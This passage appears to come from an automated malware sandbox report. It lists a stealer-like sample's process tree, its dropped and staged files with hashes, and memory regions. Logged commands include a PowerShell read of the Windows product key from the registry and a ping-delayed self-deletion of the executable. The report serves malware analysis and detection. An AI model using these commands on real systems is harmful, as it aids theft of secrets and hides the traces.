                                                                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                              4⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:2620
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\5XB-V2\main.exe""
                                                                            3⤵
                                                                              PID:1576
                                                                              • C:\Windows\system32\PING.EXE
                                                                                ping localhost -n 3
                                                                                4⤵
                                                                                • Runs ping.exe
                                                                                PID:4620
                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                          C:\Windows\System32\WaaSMedicAgent.exe 4a6907862a5583cb181ea5786db381e8 sI9Rs6kw70mQE8eBcOxFXQ.0.1.0.0.0
                                                                          1⤵
                                                                            PID:4428

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                            Filesize

                                                                            3KB

                                                                            MD5

                                                                            8740e7db6a0d290c198447b1f16d5281

                                                                            SHA1

                                                                            ab54460bb918f4af8a651317c8b53a8f6bfb70cd

                                                                            SHA256

                                                                            f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5

                                                                            SHA512

                                                                            d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            d28a889fd956d5cb3accfbaf1143eb6f

                                                                            SHA1

                                                                            157ba54b365341f8ff06707d996b3635da8446f7

                                                                            SHA256

                                                                            21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                                                                            SHA512

                                                                            0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            2e907f77659a6601fcc408274894da2e

                                                                            SHA1

                                                                            9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                                                            SHA256

                                                                            385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                                                            SHA512

                                                                            34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            bf7b73e38e4a79c2a863a0c331e2000e

                                                                            SHA1

                                                                            8086254ce77c67e94b9c1380e3f502523399ab9e

                                                                            SHA256

                                                                            669c79889af6eeb7b96e8050999bf35a9c731b0f03df64496939ebdc043fdad0

                                                                            SHA512

                                                                            a777d81016f910303546a20f3d1a666fb408fc7c0b442874a910b84317682befc8287c5eb04e5f00fdee156675b699538d9ae3e47dcde24da4f35e68b649e241

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            276798eeb29a49dc6e199768bc9c2e71

                                                                            SHA1

                                                                            5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

                                                                            SHA256

                                                                            cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

                                                                            SHA512

                                                                            0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

                                                                          • C:\Users\Admin\AppData\Local\Temp\RES639C.tmp

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            a69475ead079c0a76c89ccdec2434945

                                                                            SHA1

                                                                            c022fc74307e2d1527d0fe2173a43f87cabc7182

                                                                            SHA256

                                                                            e931d5f473dde22f4be5c4ad15386763463c0dd89fecde48e28a9581d4c4f067

                                                                            SHA512

                                                                            4b8c15386b6d3d04eb0e759c732fb289f5532375c36b71737bd29144ac467bee5fd10bf74c70260d7018df0b97b684078ada00db2ef99ee1edc23f4e11d83c86

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll

                                                                            Filesize

                                                                            106KB

                                                                            MD5

                                                                            4585a96cc4eef6aafd5e27ea09147dc6

                                                                            SHA1

                                                                            489cfff1b19abbec98fda26ac8958005e88dd0cb

                                                                            SHA256

                                                                            a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

                                                                            SHA512

                                                                            d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_bz2.pyd

                                                                            Filesize

                                                                            48KB

                                                                            MD5

                                                                            2d461b41f6e9a305dde68e9c59e4110a

                                                                            SHA1

                                                                            97c2266f47a651e37a72c153116d81d93c7556e8

                                                                            SHA256

                                                                            abbe3933a34a9653a757244e8e55b0d7d3a108527a3e9e8a7f2013b5f2a9eff4

                                                                            SHA512

                                                                            eef132df6e52eb783bad3e6af0d57cb48cda2eb0edb6e282753b02d21970c1eea6bab03c835ff9f28f2d3e25f5e9e18f176a8c5680522c09da358a1c48cf14c8

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_ctypes.pyd

                                                                            Filesize

                                                                            58KB

                                                                            MD5

                                                                            1adfe4d0f4d68c9c539489b89717984d

                                                                            SHA1

                                                                            8ae31b831b3160f5b88dda58ad3959c7423f8eb2

                                                                            SHA256

                                                                            64e8fd952ccf5b8adca80ce8c7bc6c96ec7df381789256fe8d326f111f02e95c

                                                                            SHA512

                                                                            b403cc46e0874a75e3c0819784244ed6557eae19b0d76ffd86f56b3739db10ea8deec3dc1ca9e94c101263d0ccf506978443085a70c3ab0816885046b5ef5117

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_hashlib.pyd

                                                                            Filesize

                                                                            35KB

                                                                            MD5

                                                                            f10d896ed25751ead72d8b03e404ea36

                                                                            SHA1

                                                                            eb8e0fd6e2356f76b5ea0cb72ab37399ec9d8ecb

                                                                            SHA256

                                                                            3660b985ca47ca1bba07db01458b3153e4e692ee57a8b23ce22f1a5ca18707c3

                                                                            SHA512

                                                                            7f234e0d197ba48396fabd1fccc2f19e5d4ad922a2b3fe62920cd485e5065b66813b4b2a2477d2f7f911004e1bc6e5a6ec5e873d8ff81e642fee9e77b428fb42

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_lzma.pyd

                                                                            Filesize

                                                                            85KB

                                                                            MD5

                                                                            3798175fd77eded46a8af6b03c5e5f6d

                                                                            SHA1

                                                                            f637eaf42080dcc620642400571473a3fdf9174f

                                                                            SHA256

                                                                            3c9d5a9433b22538fc64141cd3784800c567c18e4379003329cf69a1d59b2a41

                                                                            SHA512

                                                                            1f7351c9e905265625d725551d8ea1de5d9999bc333d29e6510a5bca4e4d7c1472b2a637e892a485a7437ea4768329e5365b209dd39d7c1995fe3317dc5aecdf

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_queue.pyd

                                                                            Filesize

                                                                            25KB

                                                                            MD5

                                                                            decdabaca104520549b0f66c136a9dc1

                                                                            SHA1

                                                                            423e6f3100013e5a2c97e65e94834b1b18770a87

                                                                            SHA256

                                                                            9d4880f7d0129b1de95becd8ea8bbbf0c044d63e87764d18f9ec00d382e43f84

                                                                            SHA512

                                                                            d89ee3779bf7d446514fc712dafb3ebc09069e4f665529a7a1af6494f8955ceb040bef7d18f017bcc3b6fe7addeab104535655971be6eed38d0fc09ec2c37d88

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_socket.pyd

                                                                            Filesize

                                                                            43KB

                                                                            MD5

                                                                            bcc3e26a18d59d76fd6cf7cd64e9e14d

                                                                            SHA1

                                                                            b85e4e7d300dbeec942cb44e4a38f2c6314d3166

                                                                            SHA256

                                                                            4e19f29266a3d6c127e5e8de01d2c9b68bc55075dd3d6aabe22cf0de4b946a98

                                                                            SHA512

                                                                            65026247806feab6e1e5bf2b29a439bdc1543977c1457f6d3ddfbb7684e04f11aba10d58cc5e7ea0c2f07c8eb3c9b1c8a3668d7854a9a6e4340e6d3e43543b74

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_sqlite3.pyd

                                                                            Filesize

                                                                            56KB

                                                                            MD5

                                                                            eb6313b94292c827a5758eea82d018d9

                                                                            SHA1

                                                                            7070f715d088c669eda130d0f15e4e4e9c4b7961

                                                                            SHA256

                                                                            6b41dfd7d6ac12afe523d74a68f8bd984a75e438dcf2daa23a1f934ca02e89da

                                                                            SHA512

                                                                            23bfc3abf71b04ccffc51cedf301fadb038c458c06d14592bf1198b61758810636d9bbac9e4188e72927b49cb490aeafa313a04e3460c3fb4f22bdddf112ae56

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\_ssl.pyd

                                                                            Filesize

                                                                            62KB

                                                                            MD5

                                                                            2089768e25606262921e4424a590ff05

                                                                            SHA1

                                                                            bc94a8ff462547ab48c2fbf705673a1552545b76

                                                                            SHA256

                                                                            3e6e9fc56e1a9fe5edb39ee03e5d47fa0e3f6adb17be1f087dc6f891d3b0bbca

                                                                            SHA512

                                                                            371aa8e5c722307fff65e00968b14280ee5046cfcf4a1d9522450688d75a3b0362f2c9ec0ec117b2fc566664f2f52a1b47fe62f28466488163f9f0f1ce367f86

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\base_library.zip

                                                                            Filesize

                                                                            1.8MB

                                                                            MD5

                                                                            e17ce7183e682de459eec1a5ac9cbbff

                                                                            SHA1

                                                                            722968ca6eb123730ebc30ff2d498f9a5dad4cc1

                                                                            SHA256

                                                                            ff6a37c49ee4bb07a763866d4163126165038296c1fb7b730928297c25cfbe6d

                                                                            SHA512

                                                                            fab76b59dcd3570695fa260f56e277f8d714048f3d89f6e9f69ea700fca7c097d0db5f5294beab4e6409570408f1d680e8220851fededb981acb129a415358d1

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\blank.aes

                                                                            Filesize

                                                                            120KB

                                                                            MD5

                                                                            2710e40ec41868bddaac634b161c4c25

                                                                            SHA1

                                                                            23dd349aca1c86358e5eb608354d78a36e053fa4

                                                                            SHA256

                                                                            068e42b02db7eb004985a255a36f1e8ded421ff2b81666aadbb1ba6103defd93

                                                                            SHA512

                                                                            97721ba8fd0364cc47622baf3ce819a7479783144fcd29d06e0ff2c5fabec497bea4a49106bd27f5543f96b0d9213737eb42b9f72fe0507dc564e96bdd7f1804

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\libcrypto-1_1.dll

                                                                            Filesize

                                                                            1.1MB

                                                                            MD5

                                                                            dffcab08f94e627de159e5b27326d2fc

                                                                            SHA1

                                                                            ab8954e9ae94ae76067e5a0b1df074bccc7c3b68

                                                                            SHA256

                                                                            135b115e77479eedd908d7a782e004ece6dd900bb1ca05cc1260d5dd6273ef15

                                                                            SHA512

                                                                            57e175a5883edb781cdb2286167d027fdb4b762f41fb1fc9bd26b5544096a9c5dda7bccbb6795dcc37ed5d8d03dc0a406bf1a59adb3aeb41714f1a7c8901a17d

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\libffi-8.dll

                                                                            Filesize

                                                                            29KB

                                                                            MD5

                                                                            08b000c3d990bc018fcb91a1e175e06e

                                                                            SHA1

                                                                            bd0ce09bb3414d11c91316113c2becfff0862d0d

                                                                            SHA256

                                                                            135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                                                            SHA512

                                                                            8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\libssl-1_1.dll

                                                                            Filesize

                                                                            204KB

                                                                            MD5

                                                                            8e8a145e122a593af7d6cde06d2bb89f

                                                                            SHA1

                                                                            b0e7d78bb78108d407239e9f1b376e0c8c295175

                                                                            SHA256

                                                                            a6a14c1beccbd4128763e78c3ec588f747640297ffb3cc5604a9728e8ef246b1

                                                                            SHA512

                                                                            d104d81aca91c067f2d69fd8cec3f974d23fb5372a8f2752ad64391da3dbf5ffe36e2645a18a9a74b70b25462d73d9ea084318846b7646d39ce1d3e65a1c47c4

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\python311.dll

                                                                            Filesize

                                                                            1.6MB

                                                                            MD5

                                                                            5792adeab1e4414e0129ce7a228eb8b8

                                                                            SHA1

                                                                            e9f022e687b6d88d20ee96d9509f82e916b9ee8c

                                                                            SHA256

                                                                            7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967

                                                                            SHA512

                                                                            c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\rar.exe

                                                                            Filesize

                                                                            615KB

                                                                            MD5

                                                                            9c223575ae5b9544bc3d69ac6364f75e

                                                                            SHA1

                                                                            8a1cb5ee02c742e937febc57609ac312247ba386

                                                                            SHA256

                                                                            90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                            SHA512

                                                                            57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\rarreg.key

                                                                            Filesize

                                                                            456B

                                                                            MD5

                                                                            4531984cad7dacf24c086830068c4abe

                                                                            SHA1

                                                                            fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                            SHA256

                                                                            58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                            SHA512

                                                                            00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\select.pyd

                                                                            Filesize

                                                                            25KB

                                                                            MD5

                                                                            90fea71c9828751e36c00168b9ba4b2b

                                                                            SHA1

                                                                            15b506df7d02612e3ba49f816757ad0c141e9dc1

                                                                            SHA256

                                                                            5bbbb4f0b4f9e5329ba1d518d6e8144b1f7d83e2d7eaf6c50eef6a304d78f37d

                                                                            SHA512

                                                                            e424be422bf0ef06e7f9ff21e844a84212bfa08d7f9fbd4490cbbcb6493cc38cc1223aaf8b7c9cd637323b81ee93600d107cc1c982a2288eb2a0f80e2ad1f3c5

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\sqlite3.dll

                                                                            Filesize

                                                                            622KB

                                                                            MD5

                                                                            395332e795cb6abaca7d0126d6c1f215

                                                                            SHA1

                                                                            b845bd8864cd35dcb61f6db3710acc2659ed9f18

                                                                            SHA256

                                                                            8e8870dac8c96217feff4fa8af7c687470fbccd093d97121bc1eac533f47316c

                                                                            SHA512

                                                                            8bc8c8c5f10127289dedb012b636bc3959acb5c15638e7ed92dacdc8d8dba87a8d994aaffc88bc7dc89ccfeef359e3e79980dfa293a9acae0dc00181096a0d66

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\tinyaes.cp311-win_amd64.pyd

                                                                            Filesize

                                                                            17KB

                                                                            MD5

                                                                            dcfc789badb7de5ac426cd130dbe2922

                                                                            SHA1

                                                                            bc254c63234da8a8d69f5def4df7c21cea57e4b7

                                                                            SHA256

                                                                            f9d5cb92f686ccb392cb08767f9164eafbf5387f47e56f81f542598aed746746

                                                                            SHA512

                                                                            df135ed6a005c7f1d854302bceddf3c1d311ca1a0c7ef4cfc8032d86901e048def8c3f12fd7e458057553270385cf21441bfdc557fc5a57dda2934df8cb46306

                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI42802\unicodedata.pyd

                                                                            Filesize

                                                                            295KB

                                                                            MD5

                                                                            c2556dc74aea61b0bd9bd15e9cd7b0d6

                                                                            SHA1

                                                                            05eff76e393bfb77958614ff08229b6b770a1750

                                                                            SHA256

                                                                            987a6d21ce961afeaaa40ba69859d4dd80d20b77c4ca6d2b928305a873d6796d

                                                                            SHA512

                                                                            f29841f262934c810dd1062151aefac78cd6a42d959a8b9ac832455c646645c07fd9220866b262de1bc501e1a9570591c0050d5d3607f1683437dea1ff04c32b

                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0hyzc1l.1lb.ps1

                                                                            Filesize

                                                                            60B

                                                                            MD5

                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                            SHA1

                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                            SHA256

                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                            SHA512

                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                          • C:\Users\Admin\AppData\Local\Temp\kswfnuxy\kswfnuxy.dll

                                                                            Filesize

                                                                            4KB

                                                                            MD5

                                                                            d400428674a8ed945b5fcc7f4cb74fe7

                                                                            SHA1

                                                                            6e4f2944f7a40ed7ab5f4e31c4d834cd21f64752

                                                                            SHA256

                                                                            efcfe000405867b1b860f83eebfdb0a164c7342ffbf738d9388fe3017182dfaf

                                                                            SHA512

                                                                            832e4e57f582581a3247890fc08b8e5da7db53321d338459e0f02acde65ea2052ffcd4792fcbfb71d1ce11b83254f76f9eb78142b1681cdd5c604994edb6fc52

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Desktop\GroupSend.jpg

                                                                            Filesize

                                                                            698KB

                                                                            MD5

                                                                            bd64be2e45c11e944c56b5eaa5747113

                                                                            SHA1

                                                                            e93b30ae198b58b1cbb718f8101d2cbb0986aee6

                                                                            SHA256

                                                                            fbfdb7346150a6e79dd52fb9c1663b83a321caed3dd02bcb72a8e03150216e45

                                                                            SHA512

                                                                            344a5e0595f098c407ab35a23914a7856bcfa98b379fad3d557caf1e6c5aada3a30fdd503e193455d92397cd4fcc2f587a338216495a9a46a1e016253eb906e6

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\Are.docx

                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            a33e5b189842c5867f46566bdbf7a095

                                                                            SHA1

                                                                            e1c06359f6a76da90d19e8fd95e79c832edb3196

                                                                            SHA256

                                                                            5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

                                                                            SHA512

                                                                            f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\Files.docx

                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            4a8fbd593a733fc669169d614021185b

                                                                            SHA1

                                                                            166e66575715d4c52bcb471c09bdbc5a9bb2f615

                                                                            SHA256

                                                                            714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

                                                                            SHA512

                                                                            6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\Opened.docx

                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            bfbc1a403197ac8cfc95638c2da2cf0e

                                                                            SHA1

                                                                            634658f4dd9747e87fa540f5ba47e218acfc8af2

                                                                            SHA256

                                                                            272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

                                                                            SHA512

                                                                            b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\Recently.docx

                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            3b068f508d40eb8258ff0b0592ca1f9c

                                                                            SHA1

                                                                            59ac025c3256e9c6c86165082974fe791ff9833a

                                                                            SHA256

                                                                            07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

                                                                            SHA512

                                                                            e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\These.docx

                                                                            Filesize

                                                                            11KB

                                                                            MD5

                                                                            87cbab2a743fb7e0625cc332c9aac537

                                                                            SHA1

                                                                            50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

                                                                            SHA256

                                                                            57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

                                                                            SHA512

                                                                            6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Documents\WriteShow.xlsx

                                                                            Filesize

                                                                            362KB

                                                                            MD5

                                                                            259c36eba24ed8c04c76d52b79ecf8f3

                                                                            SHA1

                                                                            c9b12e12f68fcd8ef7929be737fe5e2ecf1b271a

                                                                            SHA256

                                                                            670db35b5040a5a197800c753fa8aca1c86b94829ff29bef8a336171a83ba6b6

                                                                            SHA512

                                                                            d5853ae09a5b3b5a2adffd8af3315a1d2a819b2528f3f0954d7955bda54da3d82da1b41d91ef1a1a4906740ced4bd30961949c8ec54a6b754dfad410f7669bff

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Downloads\ExportConvert.txt

                                                                            Filesize

                                                                            391KB

                                                                            MD5

                                                                            f54cfb7f6f751f816ba0a5a9871ce52d

                                                                            SHA1

                                                                            cd5a44d1bb33c887548acfc5065d20dfe599a68c

                                                                            SHA256

                                                                            a6a07097c50357c397f6528ccfa2545ea92420ffd28a380d4554973ec871f0a8

                                                                            SHA512

                                                                            914e4c6cf9a9e8bb29aa0374c20244976d6179110231c11844f24c39521af52bc6d1567c8ea4d09ef2c7f9d5b9aabfa8186d14653743e7edd816492b698c9811

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Music\ReceiveStart.png

                                                                            Filesize

                                                                            798KB

                                                                            MD5

                                                                            a2efa8942482a2e1ba5bd5e91e63806b

                                                                            SHA1

                                                                            6bc3a7f9c5dd6a63fe5430ffc78f83d60abaa27a

                                                                            SHA256

                                                                            2e59de3e99536081b05bc00e1b2c8913ecb563361938621c5486d17186bbf7b1

                                                                            SHA512

                                                                            a7aa704f4ad0ed47f9efc3a37de3640f9c65f6e146b2f771311a5541531e82309fdd5ed71b7075d548def1456dc9e284a1ac52a56f9ad47bdbf3feb98114715d

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Music\RepairWait.jpg

                                                                            Filesize

                                                                            1.4MB

                                                                            MD5

                                                                            4fde2db252d9a07ab1af6205345e0170

                                                                            SHA1

                                                                            23a48af59de7d27a3dc1b39c21b64ab221e61ea3

                                                                            SHA256

                                                                            bcbd4948c44c11023f7e38b89cd0bbe876dabc19f9559de5bbdfeebd1e8e74b9

                                                                            SHA512

                                                                            615b2ce3813e88c850000ecc08c99762b29886039ea7e072f7663423153c80e7b92558387aea96ead3a4dabc7f3e11b0ffa79c234f068b2fa5bb6005f6362798

                                                                          • C:\Users\Admin\AppData\Local\Temp\    ‌     \Common Files\Pictures\EnableGet.png

                                                                            Filesize

                                                                            582KB

                                                                            MD5

                                                                            8d714b43ad9f87b25aa8fc638664815d

                                                                            SHA1

                                                                            e0636c7e010122f3fcf21b08f693833b78844e28

                                                                            SHA256

                                                                            90b1d9c1ba414432415042002d30ad03adc2ac0e3250aca6118e383ad5c1451b

                                                                            SHA512

                                                                            2165123b2967b7997e0cc3e8ce8593ebcfb9e26cb6f9f86594d367f2997550970d3fda16774c5b6587a28befcd477418ab0d3f63f9db5ecd5ab11e2df30ae4ba

                                                                          • C:\Windows\System32\drivers\etc\hosts

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                            SHA1

                                                                            e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                            SHA256

                                                                            a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                            SHA512

                                                                            c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kswfnuxy\CSC773734779F66463390FC3CE7A347C098.TMP

                                                                            Filesize

                                                                            652B

                                                                            MD5

                                                                            4192e363e329cd15e33d4c14ac594813

                                                                            SHA1

                                                                            87bfa0e1fcfe67634d9f88e166e612cac59493e4

                                                                            SHA256

                                                                            ce2516238a3044e1c6e55f972071c70b4aef730f45722b144d4a8f0066f58166

                                                                            SHA512

                                                                            404cf78a51d756606613f72395cf3bd5bcdc229cd6acfe3b38e9a7bb5bebd8205c3cbee4647bab86025d53a4b5c670b159981d2bb3e4d71f54863e2657832953

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kswfnuxy\kswfnuxy.0.cs

                                                                            Filesize

                                                                            1004B

                                                                            MD5

                                                                            c76055a0388b713a1eabe16130684dc3

                                                                            SHA1

                                                                            ee11e84cf41d8a43340f7102e17660072906c402

                                                                            SHA256

                                                                            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                            SHA512

                                                                            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kswfnuxy\kswfnuxy.cmdline

                                                                            Filesize

                                                                            607B

                                                                            MD5

                                                                            6ecdffaf5280d8237deab9038109d02b

                                                                            SHA1

                                                                            844f3e9162501c22ed88f7426ffc4b707b96b199

                                                                            SHA256

                                                                            3025a09e71b076b113bf72d69c1150b0edf99ab2a9153a1bc313f436bc780d5d

                                                                            SHA512

                                                                            d5cd803b646009608d302a3ac31b94b5332b08ddfc31bbfd07a67836baae543d360049797d57e655ebe9351e4ea3ec5cdc59c2ba9b1a635f9fee553f7604c67d

                                                                          • memory/3596-57-0x00007FF8BECC0000-0x00007FF8BECD9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/3596-316-0x00007FF8BED20000-0x00007FF8BED43000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-295-0x00007FF8AF540000-0x00007FF8AFB29000-memory.dmp

                                                                            Filesize

                                                                            5.9MB

                                                                          • memory/3596-51-0x00007FF8BED20000-0x00007FF8BED43000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-47-0x00007FF8C25F0000-0x00007FF8C2609000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/3596-44-0x00007FF8BED50000-0x00007FF8BED7D000-memory.dmp

                                                                            Filesize

                                                                            180KB

                                                                          • memory/3596-37-0x00007FF8C3180000-0x00007FF8C318F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                          • memory/3596-31-0x00007FF8C3B70000-0x00007FF8C3B80000-memory.dmp

                                                                            Filesize

                                                                            64KB

                                                                          • memory/3596-34-0x00007FF8BEC50000-0x00007FF8BEC73000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-26-0x00007FF8AF540000-0x00007FF8AFB29000-memory.dmp

                                                                            Filesize

                                                                            5.9MB

                                                                          • memory/3596-67-0x00007FF8AE4A0000-0x00007FF8AE558000-memory.dmp

                                                                            Filesize

                                                                            736KB

                                                                          • memory/3596-59-0x00007FF8C2470000-0x00007FF8C247D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/3596-308-0x00007FF8BEC00000-0x00007FF8BEC14000-memory.dmp

                                                                            Filesize

                                                                            80KB

                                                                          • memory/3596-72-0x00007FF8AE120000-0x00007FF8AE498000-memory.dmp

                                                                            Filesize

                                                                            3.5MB

                                                                          • memory/3596-77-0x00007FF8BEC00000-0x00007FF8BEC14000-memory.dmp

                                                                            Filesize

                                                                            80KB

                                                                          • memory/3596-78-0x00007FF8BEC80000-0x00007FF8BEC8D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/3596-83-0x00007FF8AE600000-0x00007FF8AE71C000-memory.dmp

                                                                            Filesize

                                                                            1.1MB

